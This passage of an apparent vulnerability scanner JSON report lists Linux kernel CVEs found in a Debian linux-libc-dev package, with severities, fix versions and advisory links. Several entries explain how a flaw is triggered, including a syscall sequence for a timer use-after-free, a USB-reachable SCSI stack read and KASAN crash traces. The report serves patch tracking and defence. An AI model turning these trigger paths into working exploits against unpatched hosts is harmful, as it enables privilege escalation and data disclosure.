"https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/8697c431e297eb0d0ab13dda6bc172b48a34f05c%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98222.mbox", "https://git.kernel.org/stable/c/1e720f63dbafc093a8f5d519f05b67724993edd4", "https://git.kernel.org/stable/c/8697c431e297eb0d0ab13dda6bc172b48a34f05c", "https://git.kernel.org/stable/c/a1a98eca102b1cbbc37ff9eaa197ae4e6a3ea4b0", "https://git.kernel.org/stable/c/cca38f2102a4cd35eda8d48950df4817b4b24757", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ew3mgctwwwru.toml", "https://linux.oracle.com/cve/CVE-2026-98222.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98222", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98222" ], "PublishedDate": "2026-10-06T09:18:09.153Z", "LastModifiedDate": "2026-10-19T10:18:22.967Z" }, { "VulnerabilityID": "CVE-2026-98232", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98232", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f0ff4b880fc789f402e6b91d122d1a3f88efc527f0070fc6041e5ca3601363b5", "Title": "kernel: kernel: arbitrary code execution via out-of-bounds stack access in scsi_cdl_enable()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Validate MODE SENSE lengths in scsi_cdl_enable()\n\nscsi_cdl_enable() uses length fields returned by MODE SENSE to locate\nthe ATA feature mode page in a 64-byte stack buffer. A target can report\na total length shorter than its mode header and block descriptors. The\nunsigned subtraction used for the MODE SELECT length can wrap, and the\nseparately computed buf_data can point beyond buf.\n\nDuring automatic scan, enable is false, so the read-modify-write of\nbuf_data[4] can clear the low two bits of a target-selected\nout-of-bounds stack byte. scsi_mode_select() can then copy up to 64\nbytes from outside the buffer into the outgoing MODE SELECT payload,\ndisclosing stack contents to the target.\n\nThis is reachable while scanning a USB storage device that identifies as\nan ATA device and advertises CDL support. No filesystem mount or\nuserspace access to the block device is required.\n\nOn upstream commit cee9395acd80 (\"Linux 7.3-rc1\"), a build-specific,\none-vCPU QEMU/Raw Gadget proof using QEMU-only multi-UDC allocator\nsampling executed a fixed proof command inside the guest and created a\nUID-0-owned marker during automatic enumeration, with KASLR and NX\nenabled.\n\nThe issue was independently found during security research at Drivesec\nS.r.l.\n\nCap the available length to the buffer size. Validate and consume the\nmode header and block descriptor lengths before using the page, and\nrequire the five bytes needed to access the CDL field.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98232", "https://access.redhat.com/security/cve/CVE-2026-98232", "https://git.kernel.org/linus/3d676e458fe0c566f5a62753dc696b6a862fc412%20%287.3-rc4%29", "https://git.kernel.org/stable/c/39491a1ae93054fea10b4030180e5c797b2c0343", "https://git.kernel.org/stable/c/3d676e458fe0c566f5a62753dc696b6a862fc412", "https://git.kernel.org/stable/c/60b0b8ce803e3c2b2a9e5485ab3f88599fb4c7a4", "https://git.kernel.org/stable/c/6233d0b3ef4623df0d6934dc8b93b161e9854f6b", "https://git.kernel.org/stable/c/99a6e4a9176da456904b67dcbae6e77d122782b7", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-saxdoefgygh3.toml", "https://linux.oracle.com/cve/CVE-2026-98232.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98232", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98232" ], "PublishedDate": "2026-10-06T09:18:10.703Z", "LastModifiedDate": "2026-10-19T10:18:23.997Z" }, { "VulnerabilityID": "CVE-2026-98260", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98260", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2db7be4992db11226292ae9f9d759ff8e110440a7384055e29db2bf5e97fdf6d", "Title": "kernel: exec: Cleanup POSIX timers right after de_thread()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: Cleanup POSIX timers right after de_thread()\n\nA per-thread CPU timer holds a reference to the PID of the thread it is\nattached to and, while it is armed, its node is queued in that thread's\nposix_cputimers. The task is looked up by that PID.\n\nWhen a non-leader thread exec()s, de_thread() changes which task owns\nthat PID. pid_task(timer-\u003eit.cpu.pid, PIDTYPE_PID) then returns NULL,\nbut the node is still queued on tsk, which is alive. timer_lock_sighand()\ntakes a failed lookup to mean that the node is already dequeued, so it\nhas nothing to undo.\n\nbegin_new_exec() calls posix_cpu_timers_exit(me) right after\nexec_task_namespaces() and that removes the leftover node, so the state\nnormally stays invisible. But bprm-\u003epoint_of_no_return is set before\nde_thread(), so if unshare_files(), set_mm_exe_file(), exec_mmap() or\nexec_task_namespaces() fails, the task dies before it gets there.\nexit_itimers() then frees the k_itimer while its node is still queued,\nand reaping tsk later erases that freed node from the rbtree.\n\nIn short:\n\n the non-leader thread B the parent\n\n timer_create(CLOCK_THREAD_CPUTIME_ID)\n timer_settime()\n arm_timer() // the node is queued on B\n execve()\n de_thread(B)\n exchange_tids(B, leader) // B's PID now belongs to the leader\n release_task(leader)\n __exit_signal(leader)\n posix_cpu_timers_exit(leader) // cleans leader's queue, not B's\n __unhash_process(leader) // that PID has no task anymore\n exec_mmap()\n mmap_read_lock_killable(old_mm)\n kill(B, SIGKILL)\n // -EINTR\n get_signal()\n do_exit()\n exit_itimers()\n posix_timer_delete()\n posix_cpu_timer_del()\n posix_timer_unhash_and_free() // freed while still queued\n wait4()\n release_task(B)\n posix_cpu_timers_exit(B)\n cleanup_timerqueue()\n timerqueue_del() // use-after-free\n\nMove the POSIX timer cleanup right after de_thread() before any of the\nlater failure conditions brings the task into do_exit().\n\n[ tglx: Move the cleanup right after de_thread() ]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-98260", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/acb03d3881818581052924a9bbbe92b8741ed448%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98260.mbox", "https://git.kernel.org/stable/c/6f1977cea3e85cd8ab55fb337d3e1725fe61d1ce", "https://git.kernel.org/stable/c/75aa08b93c65766040f9ca99f41ac85ad22596b6", "https://git.kernel.org/stable/c/acb03d3881818581052924a9bbbe92b8741ed448", "https://git.kernel.org/stable/c/d602877baf36c43c788a5f472c977e0be414029f", "https://git.kernel.org/stable/c/d9ae467e617ca29b825493a362bf0d75ad5f4ac3", "https://git.kernel.org/stable/c/f6c93e8ecaaf12959b7ef6eb611351001db2ff5d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-lzl5fzauyucz.toml", "https://linux.oracle.com/cve/CVE-2026-98260.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98260", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98260" ], "PublishedDate": "2026-10-06T09:18:15.04Z", "LastModifiedDate": "2026-10-30T13:21:12.32Z" }, { "VulnerabilityID": "CVE-2026-98275", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98275", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cc22c05930699f27e8662a4b0816b8acb489ed4ff8d088317a58a57469f39b57", "Title": "kernel: kernel: Denial of Service via improper interrupt acknowledgment in Cortina Ethernet driver", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ethernet: cortina: Ack RX overrun interrupt correctly\n\nThe RX overrun interrupt is reported in interrupt status register 4, but\ngmac_irq() acknowledges it using the RX descriptor error bit from status\nregister 0. For GMAC0 this writes the GMAC1 overrun bit, while for GMAC1\nthe shift leaves no bit in the 32-bit register.\n\nAcknowledge the same per-port RX overrun bit that was detected.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98275", "https://git.kernel.org/linus/1dd85662fee6e2ac580b1c4f9a0c0a7ae6e31f0e%20%287.3-rc4%29", "https://git.kernel.org/stable/c/1163cc82dcbc145f912bf2106ab668762f53e483", "https://git.kernel.org/stable/c/12a0c7bb448c1899ea3d8f97fa47a8740044e16d", "https://git.kernel.org/stable/c/1dd85662fee6e2ac580b1c4f9a0c0a7ae6e31f0e", "https://git.kernel.org/stable/c/2f23fa11fef9b4a93335894379d82238f0a28228", "https://git.kernel.org/stable/c/472493d1d3334d104b9873abc1c2d80ed3b144f3", "https://git.kernel.org/stable/c/4f33e036e827f368cdb10bcb15ad098448aca0f5", "https://git.kernel.org/stable/c/d4bd670454390aab72ab9fb7b73bce2966c33fe3", "https://git.kernel.org/stable/c/d72d87926ca33c6766dc73ace46859d7220a45bb", "https://nvd.nist.gov/vuln/detail/CVE-2026-98275", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98275" ], "PublishedDate": "2026-10-06T09:18:17.203Z", "LastModifiedDate": "2026-10-19T10:18:28.843Z" }, { "VulnerabilityID": "CVE-2026-98323", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0ed53c5a905e504d889607e7037e1c67f492d001d81f7084c9cd280192a0c1a5", "Title": "kernel: RDMA/siw: Bound fragmented header copies by the remaining length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: Bound fragmented header copies by the remaining length\n\nsiw_get_hdr() can receive an extended DDP/RDMAP header across more than\none TCP callback. The first callback may receive most of the header,\nwhile the next one still limits the copy to hdrlen - MIN_DDP_HDR instead\nof the number of missing bytes. This makes the destination move past the\nend of the header and overwrite the receive state, including\nfpdu_part_rcvd. A later callback can then use a negative fpdu_part_rcvd\nvalue as a copy offset, which creates an OOB write.\n\nUse the number of header bytes already received when calculating the\nnext copy length.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98323", "https://git.kernel.org/linus/9ff797e516dbc1ecb73701ec4c24055712d44411%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98323.mbox", "https://git.kernel.org/stable/c/262dcd809723723ed8a4e05437ec7e9c21a8f17e", "https://git.kernel.org/stable/c/2c6fbcf4bfac0b2b186acc8d91154c0fa24468a7", "https://git.kernel.org/stable/c/8628f8ebf41669302513fb3f0bf0eba38b226742", "https://git.kernel.org/stable/c/9ff797e516dbc1ecb73701ec4c24055712d44411", "https://git.kernel.org/stable/c/af9f5b474a260ad23ffb9793d716a5e3bbce3b48", "https://git.kernel.org/stable/c/b72dcfb9bf1f0f0147cda03dc59e4002a315067f", "https://git.kernel.org/stable/c/e6bdfdf3bcb02d0d626a45e8c98b7e63d2fddf9d", "https://git.kernel.org/stable/c/eb4d7a946970469b3ab0c762432bf161d5b0836c", "https://nvd.nist.gov/vuln/detail/CVE-2026-98323", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98323" ], "PublishedDate": "2026-10-06T09:18:24.403Z", "LastModifiedDate": "2026-10-19T10:18:34.457Z" }, { "VulnerabilityID": "CVE-2026-98364", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98364", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ffedf575f210793fa9d695e96fd3c3ef58d067bb16b9e40d8993c6a75d2f623", "Title": "kernel: xfrm: hold net_device reference under RCU in bundle creation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: hold net_device reference under RCU in bundle creation\n\nxfrm_bundle_create() and xfrm_create_dummy_bundle() read dst-\u003edev into\na local pointer without taking a device reference, then pass it to\nxfrm_fill_dst(). A concurrent RTM_DELLINK replaces dst-\u003edev via\ndst_dev_put() and frees the old net_device, causing a use-after-free\nwhen xfrm6_fill_dst() later dereferences the stale dev pointer.\n\n BUG: KASAN: slab-use-after-free in xfrm6_fill_dst+0x82c/0x860\n (net/ipv6/xfrm6_policy.c:86 netdev_hold())\n Read of size 8 at addr ffff8880142fe588 by task exploit/153\n Call Trace:\n xfrm6_fill_dst+0x82c/0x860\n xfrm_resolve_and_create_bundle+0x21d4/0x2bd0\n xfrm_lookup_with_ifid+0x485/0x1640\n ip6_dst_lookup_flow+0x19b/0x1e0\n udpv6_sendmsg+0x1443/0x2dd0\n\nFix this by reading dst-\u003edev via dst_dev_rcu() and keeping the RCU\nread-side critical section active until xfrm_fill_dst() has taken the\nrequired device references.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/9fa903b24b1f46b4ff5443bcd4aca23e5c57f9c1%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98364.mbox", "https://git.kernel.org/stable/c/8d85d6bc9c46dc41cb2be0eac53f8ab068c3a807", "https://git.kernel.org/stable/c/9fa903b24b1f46b4ff5443bcd4aca23e5c57f9c1", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-yqaindjkanr5.toml", "https://linux.oracle.com/cve/CVE-2026-98364.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98364", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98364" ], "PublishedDate": "2026-10-06T09:18:30.547Z", "LastModifiedDate": "2026-10-19T10:18:39.29Z" }, { "VulnerabilityID": "CVE-2026-98378", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0d7435c5489ef8e7d27d390c73c69f862e42f14d3d23e13d8e4fbf339488975a", "Title": "kernel: bpf: Skip unsettled links in link iterator", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Skip unsettled links in link iterator\n\nbpf_link_prime() inserts a link into link_idr before anon_inode_getfile()\nsucceeds and before bpf_link_settle() publishes the ID in link-\u003eid.\nbpf_link_by_id() treats such an ID-zero link as unsettled, but the link\niterator takes a reference without this check.\n\nIf anon_inode_getfile() then fails, the creator removes the ID and frees\nits still-private link directly. The iterator is left with a dangling\nreference and its next bpf_link_put() accesses freed memory.\n\nTreat ID-zero entries as transient in bpf_link_get_curr_or_next(), just as\nbpf_link_by_id() does.\n\n BUG: KASAN: slab-use-after-free in bpf_link_put\n Write of size 8 by task exp/384\n Call Trace:\n bpf_link_put kernel/bpf/syscall.c:3372\n bpf_link_seq_next kernel/bpf/link_iter.c:33\n bpf_seq_read kernel/bpf/bpf_iter.c:158\n vfs_read fs/read_write.c:572\n ksys_read fs/read_write.c:716\n do_syscall_64 arch/x86/entry/syscall_64.c:84\n entry_SYSCALL_64_after_hwframe arch/x86/entry/entry_64.S:121\n Kernel panic - not syncing: KASAN: panic_on_warn set ...", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98378", "https://access.redhat.com/security/cve/CVE-2026-98378", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98378.mbox", "https://git.kernel.org/stable/c/50e80e2bb5e2be8515205b9c496b9640ddefa434", "https://git.kernel.org/stable/c/68930f8d40ab4c10ca3b019f076136758fd100a8", "https://git.kernel.org/stable/c/6e271f093d15d323f42de26f66556af53fa8e19f", "https://git.kernel.org/stable/c/798a61edbc436cacdb659927d067368eeb1e30e2", "https://git.kernel.org/stable/c/87ce4b53b7436b50fc984f0a6afaf77f68ac5573", "https://git.kernel.org/stable/c/c251ed48bd9063cf7de6049421e78b6de989060f", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ihjtadh7qgey.toml", "https://linux.oracle.com/cve/CVE-2026-98378.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98378", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98378" ], "PublishedDate": "2026-10-09T08:16:56.123Z", "LastModifiedDate": "2026-10-24T14:16:39.873Z" }, { "VulnerabilityID": "CVE-2026-98417", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", 